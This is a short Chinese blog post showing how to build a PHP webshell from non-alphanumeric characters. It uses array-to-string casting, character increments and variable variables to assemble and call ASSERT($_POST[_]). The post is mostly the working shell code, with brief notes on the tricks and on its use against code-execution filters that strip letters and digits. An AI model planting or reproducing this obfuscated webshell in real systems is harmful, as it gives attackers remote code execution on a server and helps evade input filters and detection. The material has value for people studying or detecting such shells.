php无数字字母shell

2018-10-14  本文已影响8人  身自在
一 利用php的自增
<?php
$_=[];
$_="$_";
$_=$_["!"=="@"]; //$_="A";
$__=$_; //$__="A";
$_++;$_++;$_++;$_++;
$____=$_; "E";
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$________=$_; "O";
$_++;
$_______=$_; "P";
$_++;$_++;
$_____=$_; "R";
$_++;
$___=$_; "S";
$_++;
$______=$_; "T";
$_=$__.$___.$___.$____.$_____.$______; //ASSERT
$__='_'.$_______.$________.$___.$______; //string(5) "_POST"
$__=$$__;  // array $_POST
$_($__[_]); //ASSERT($_POST[_]);
?>
image.png

知识点:
1.php在将数组强制转换为字符串的值为 "ARRAY"


image.png

2.php的自增


image.png
3.php中的GET,POST,REQUEST,COOKIE等字符串转全局数组

有一个注意点就是当shell中使用eval函数时,将字符串作为php代码来运行,必须以分号结尾,所以这里用的assert。

这种shell不一定免杀,但是在某些情况下却可以起到用武之地,例如某些代码执行的漏洞中过滤了字母数字.

上一篇 下一篇

猜你喜欢

热点阅读